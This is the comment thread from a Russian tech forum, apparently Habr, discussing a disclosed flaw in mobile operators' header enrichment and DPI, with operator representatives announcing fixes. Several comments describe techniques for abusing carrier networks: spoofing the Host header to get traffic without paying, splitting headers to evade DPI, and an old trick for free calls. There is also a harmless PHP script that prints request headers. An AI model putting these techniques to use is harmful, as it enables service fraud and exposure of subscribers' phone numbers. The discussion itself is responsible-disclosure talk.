      -Окей. Сколько нам будет стоить времени и денег донастроить все DPI по всем регионам, да так, чтобы ничего не отвалилось (проверка баланса, пополнение счета при нулевом балансе)?
      -N миллионов, сэр. И то есть большой шанс поломать личные кабинеты в некоторых регионах, потому-что DPI штука тонкая…
      -Значит, на 0.01% всего 1 млн. рублей в месяц. Когда эта цифра станет = N миллионов на фикс, тогда и займемся. Пока займитесь другими более важными делами.

      — Я повторюсь, что в больших организациях всё работает по-другому. Там нет «один большой оператор». Там есть отделы, бизнес-направления, итд. Есть бизнес-направления: физики, юрики, итд. Вот этот конкретно относится к потерям физиков. Вы можете подумать, что ваш вопрос относится к безопасникам, так вот нет — этот вопрос относится к бизнес-подразделению, потому-что фикс должны будут оплачивать они, а не безопасность. И бизнес-подразделение уже решает — тратить ли на эту «мелочь» ресурсы, или нет.


      1. tyderh
        30.12.2017 12:25
        +3

        Только вот вы (и бизнес-отделы) не учли ещё один большой риск — наличие вот такого поста, который очень быстро разошёлся по всему рунету и который явно говорит, на какого оператора нужно переходить


        1. Hardcoin
          30.12.2017 14:13

          Ну, бизнес-отделы такое часто не учитывают. Если надо будет — надавят на оператора "на которого надо переходить" административными методами, что б долю рынка сохранить. Это и проще и привычнее, чем за имиджем и данными клиента следить.


        1. TimsTims
          30.12.2017 16:50

          не учли ещё один большой риск — наличие вот такого поста, который очень быстро разошёлся по всему рунету
          А им и не надо это учитывать. Я же писал:
          Когда эта цифра станет = N миллионов на фикс, тогда и займемся
          Т.е. когда эта проблема станет проблемой — ей и займутся. А до тех пор, пока она никому особо не вредит, ею и нет смысла заниматься (нерационально тратить ресурсы).


        1. PEgorov
          30.12.2017 17:49
          +4

          Вы очень переоцениваете влияние наличия вот такого поста на конечную прибыль опсоса. Ну да, полтора гика, прочитав всё это, страшно возмутятся и уйдут к кому-нибудь еще, но подавляющее большинство клиентов никогда не прочитает этого поста, а если и прочитает, то не поймет в чем его суть.


          1. ivan386
            30.12.2017 18:01

            Это технический ресурс. Новостные ресурсы переработают этот пост в стиле "Учёный изнасиловал жарналиста".


            1. PEgorov
              30.12.2017 22:05
              +4

              Всем плевать. Нет, правда. Это не первый и даже не десятый случай, когда опсос, провайдер или кто-то подобный делает нечто непотребное. Ну вот тот же МТС с год назад эпичнейше обгадился, когда через них телеграммы кого-то из оппозиционных деятелей взломали. Воплей было значительно больше. Чем закончилось для МТС? Ничем. Вообще.


    1. Zolg
      30.12.2017 10:21

      > реально в наше время стоит мобильный анлим (для юрлиц 1000р+ в месяц

      *существенно* дешевле


      1. Dageron
        30.12.2017 10:43
        +1

        Какие то примеры можете привести, если не секрет? Полагаю, многое зависит от размера компании и могут быть специальные предложения, но из общедоступных я видел за 700-800 самое минимальное (за 1000+ это уже идет безлимит со статическим IP-адресом, он нам и был нужен).


        1. Zolg
          31.12.2017 16:17

          но из общедоступных
          Мы же говорим про юрлиц? 'общедоступные тарифы' легко и непринужденно прогибаются в процессе общения с менеджером оператора.
          Размер скидки зависит от вашего дара убеждения и заинтересованности оператора в вашей компании (это не всегда размер и/или средний счет).


    1. AigizK
      30.12.2017 16:33
      +1

      В 2006 у Менафона можно было набрать секретную комбинацию и номер телефона, потом идет звонок по тому номеру, когда поднимают трубку, то поступает звонок тебе и можно было говорить бесплатно. Так же, когда многие узнали про это, тему прикрыли, возможно комбинацию просто поменяли


  1. vvpoloskin
    29.12.2017 22:47

    Не секрет, что у каждого крупного оператора несколько филиалов. В каждом филиале стоит свой DPI (PCEF/PCRF) со своей логикой и в каждом филиале свой биллинг. То, что работает в одном филиале (а может и вообще субъекте федерации), может совершенно отлично работать в другом.
    Кроме того пилят DPI сторонние организации, а это допиливание стоит вполне серьезных денег. Уж так сложилось, что выделение этих денег для крупной организации процесс весьма небыстрый.
    Подозреваю, что у теле2 в вашем регионе сейчас идет период тестирования и приеемки софта, и найденные вами баги просто были внесены в техническое задание поставщику.
    Конечно я понимаю, что ковбоев не волнуют проблемы индейцев, но в данном случае операторам надо просто дать время.


    1. yaprns
      30.12.2017 09:06

      В принципе верно, с той лишь разницей, что «PCEF/PCRF» — не DPI.
      В статье описаны проблемы обогащения заголовков. Это тоже не DPI и применяется для совершенно других целей.


      1. old2young
        30.12.2017 12:08

        Если не ошибаюсь, на Android это реализовано как ssh через http туннель, в таких приложениях, как http injector, e-proxy, KPN Tunnel.


  1. HOMPAIN
    30.12.2017 00:17

    Интересная идея. Может кто подскажет VPN клиент сервер(Android Win) через HTTP тунель?)


  1. TimsTims
    30.12.2017 00:41

    HTTP-запросы на любой IP-адрес и порт 80 с заголовком Host, указывающим на служебный домен, не расходуют трафик из пакета и работают даже при отрицательном балансе.
    Скажите, и в магазине можно так же стенку приподнять? (с)


  1. SergeyNabatov Автор
    30.12.2017 10:23
    +7

    Специалист службы информационной безопасности МТС вышел на связь, сказал, что разберется.


    1. Dageron
      30.12.2017 11:05
      +2

      Кого-то ждут хорошие новогодние праздники :)


    1. lynxrus
      30.12.2017 18:45
      +1

      Видимо уже начали. В Москве нигра показывает undefined.


  1. FisHlaBsoMAN
    30.12.2017 13:22
    +4

    У меня на домашнем сервере еще остались некоторые домены операторские. Пока в армии был качал файлы через баг с хедерами когда трафик заканчивался. Знаю о баге с заголовками уже года 3-4. Иногда юзал когда очень надо было выйти с чего то в интернет. Когда мне кинули инфу о дырах на 4пда был очень огорчен. Но последние 2 года сижу на yota. Не требуется.


  1. 61brg
    30.12.2017 13:37
    +2

    В принципе не понятно:
    1. На основании какого права оператор вообще лезет в трафик абонента?
    2. Что в связи с этим будет запротоколировано по «закону Яровой»?
    3. Существует вероятность (ИМХО, очень большая вероятность), что ТС выявил далеко не все «нюансы» работы операторов связи. Возможно операторы балуются гораздо сильнее (скажем, дорабатывают не только заголовок). Ссылка на описанный факт возможно кому-то поможет при его уголовном преследовании, скажем за экстримизм в высказываниях. Ведь в настоящий момент возникло сомнение в добропорядочности операторов сотовой связи, а сомнения в Уголовном праве трактуются в пользу обвиняемого.


    1. kafeman
      30.12.2017 13:52
      +3

      Вроде какой-то оператор вставлял свой HTML. Причем криво, вешая события через window.onload, из-за чего ломались некоторые сайты. Но те, кто не перевел свой сайт на HTTPS, должны страдать.


    1. ivan386
      30.12.2017 13:58

      Билайн вмешивается в трафик пользователей
      В том числе и по этому сайты форсируют переключатся на https.


  1. Sagittarius67
    30.12.2017 14:00

    Как я понимаю, проблема не с DPI, а с PGW.

    www.pvsm.ru/lte/40017


    1. SergeyNabatov Автор
      30.12.2017 14:12

      PGW не является DPI? Для меня DPI — все то, что анализирует пакеты на Level 7. Неправильно называть PGW системой DPI?



  1. Zagrebelion
    30.12.2017 15:55

    Правильно я понимаю, что воспользоваться этой уязвимостью можно только установив приложение, которое не запрашивало доступ к геолокации/READ_PHONE_STATE, но получило доступ к таким данным? Произвольны вебсайт через браузер не получит же доступ к манипуляции заголовками запроса.


    1. lolipop
      30.12.2017 17:25
      +1

      заголовки устанавливаются опсосом, а не телефоном.


      1. Zagrebelion
        30.12.2017 20:01

        заголовки, про которые идёт речь в статье, ставит опсос при запросе к сайтам из некоторого списка. На это можно повлиять, если подпихнуть правильный заголовок Host. Что страшного в том, что сайт опсоса будет знать мой номер?


        1. SergeyNabatov Автор
          30.12.2017 20:07
          +1

          Приложение может эмулировать запросы к сайтам из списка, подключаясь к IP-адресу, подконтрольному владельцу приложения, а DPI оператора будет думать, что запрашивается адрес из списка.
          Веб-сайт, в случае МТС, тоже может эмулировать такой запрос.


  1. 027
    30.12.2017 16:29

    Если у кого есть только шаред-хостинг, можно для посмотреть использовать простой php скрипт

    код
    <?php
    if (!function_exists('getallheaders'))  {
      function getallheaders()
      {
        if (!is_array($_SERVER)) {
          return array();
        }
        $headers = array();
        foreach ($_SERVER as $name => $value) {
          if (substr($name, 0, 5) == 'HTTP_') {
            $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
          }
        }
        return $headers;
      }
    }
    $headers = getallheaders();
    print_r($headers);
    


    1. Kesantielu
      30.12.2017 17:08

      500 возвращает


      1. 027
        30.12.2017 17:33

        Вы его точно не модифицировали? Лишнего ничего не зацепили при копировании? Или, наоборот, ничего не выпало?
        Даже не знаю, что там может не работать, попробуйте предельно упрощенный вариант.

        код
        <?php
        $headers = array();
        foreach ($_SERVER as $name => $value) {
          if (substr($name, 0, 5) == 'HTTP_') {
            $headers[$name] = $value;
          }
        }
        print_r($headers);
        


  1. MegaFon
    30.12.2017 16:54
    -13

    Специалисты компании анализируют информацию и работают над устранением уязвимости. Мы проводим работу по поиску и устранению уязвимостей постоянно.


  1. Kesantielu
    30.12.2017 17:04

    Подскажите, как настроить сервер, чтобы получалось возвращать заголовки с измененным хостом? У меня просто происходит выдача сервером «Not Found» при такой попытке.


  1. SVlad
    30.12.2017 17:42
    +1

    Или, что можно было встретить лет 5 назад, простой заход на подозрительный веб-сайт или клик по рекламному баннеру из Android-игры оборачивался автоматической подпиской на платную услугу, о чем можно было узнать из СМС-сообщения.

    Ха, три месяца назад (в сентябре 2017) зашёл через мобильный интернет от мегафона посмотреть картинку на радикале (де факто стандартный фотохостинг). Открываю радикал, приходит СМС, что я подписался на услугу доступа к радикал фото, 30 рублей в день.


    1. 027
      30.12.2017 19:19

      Интересно, радикал об этом знает?..


      1. sumanai
        30.12.2017 21:42

        Он на этом зарабатывает, так как без его ведома сложно впихнуть в него айфрейм с платным сайтом.


        1. 027
          30.12.2017 21:46

          Думаете, сложно? Сидя на первой букве в слове MITM?
          (это просто вопрос, я в деталях не ориентируюсь)


          1. sumanai
            30.12.2017 21:55

            Не вижу смысла им атаковать только радикал. И разве он не по https?


            1. 027
              30.12.2017 22:00

              И разве он не по https?

              Вот уж не знаю, радикальной помойкой не пользуюсь со времен IT-младенчества.


              1. sumanai
                30.12.2017 22:20

                А я и адреса не знаю, вот и спросил. Но сейчас даже мелкий бложик ставит себе https.


          1. 027
            30.12.2017 21:57

            Кстати, вспомнилось. С полгода назад мне мегафон пытался впарить подписку на либ.ру. Я еще домен, помнится, по хуиз гялнул — мама дорогая, ну ни разу не палятся! В одном из полей чего-то-там-org так и написано — Megafon тряляля.
            Хотел было выставить их где-нибудь на доску позора, да махнул рукой. Толку-то…


        1. SVlad
          31.12.2017 01:22

          Не факт, так как подписка идёт от имени некоего fotosstock.ru. А на самом радикале ничего подобного не упоминается.


          1. sumanai
            31.12.2017 02:27

            Возможно, это платные партнёры, и их iframe размещается на радикале.


    1. Andrusha
      31.12.2017 10:38

      Это, кстати, теоретически можно отключить в частном порядке по звонку опсосу. По крайней мере, МегаФон года 4 назад мне выключил и вернул деньги; вот современный Билайн в этом плане похуже — в саппорт сидел какой-то умник, который начал мне рассказывать про вирусы в моем телефоне и всё такое.


  1. Lehikus
    30.12.2017 18:45

    Проверял loudnigra.xyz с СЗ МТС — выдал undefined. Вот интересно, МТС вставил затычку именно на негра и что-то сделал глобальное…


    1. SergeyNabatov Автор
      30.12.2017 18:48
      +6

      Да, исправили.
      Нужно всего 24 часа, чтобы исправить такую уязвимость, если о ней сообщено публично, а не 365 дней, если об уязвимости сообщать напрямую.
      Разделение заголовков все еще работает, переделаю, как будет время.
      МТС отключил номер, с которого звонил нигра. Чем-то он им не понравился.


      1. 027
        30.12.2017 19:21
        +4

        Это оголтелый расизм, друг мой, соловей!


      1. semen-pro
        31.12.2017 09:01
        +1

        Судя по всему — гораздо проще отключить отдельный номер / забанить IMEI, чем решить глобальную проблему.


      1. SergeyNabatov Автор
        31.12.2017 18:05

        Разделение заголовков все еще работает, переделаю, как будет время.

        Сколько ни пытался — не работает из браузера. DPI буферизирует запрос и всегда делит заголовки таким образом, чтобы имя заголовка не разделялось на несколько пакетов.
        Может, сработает, если подстраивать размер самого заголовка, а не значения.


        1. iassasin
          31.12.2017 18:36
          +2

          И вас с наступающим! Уважаю таких, как вы — даже в праздники занимаетесь любимым делом!


  1. info_habr
    30.12.2017 19:58
    +4

    Уже часть пофиксили, остальное сегодня залатаем. Спасибо!


    1. SergeyNabatov Автор
      30.12.2017 20:26
      +8

      Это заслуживает уважения, учитывая дату и день недели. Если бы так все реагировали, мы бы жили в мире без уязвимостей.


  1. rdc
    31.12.2017 02:37

    Немного отвлекаясь от халявных интернетов: для личного кабинета с телефона без пароля, совершенно не нужно никаких DPI. Достаточно зароутить трафик на сервер ЛК минуя NAT.


    1. shurshur
      01.01.2018 23:08

      К сожалению, всё не так просто. У операторов десятки миллионов абонентов. Просто выдать каждому абоненту уникальный внутренний IP-адрес не получится. Кроме того, адреса придётся как-то сегментировать по регионам, что ещё больше усложнит ситуацию.

      Поэтому NAT в каждом региональном подразделении необходим, от него не уйти.


  1. mrcatmann
    02.01.2018 01:52

    Вспомнил, что года 3-4 назад у МТСа был баг, позволявший получить доступ в интернет при нулевом балансе. Для этого нужно было раз 10-15 попытаться загрузить страницу через Opera Mini, и после этого на какое-то время интернет начинал работать. Уж не знаю, работает ли это сейчас — не проверял. Но уязвимость очень странная...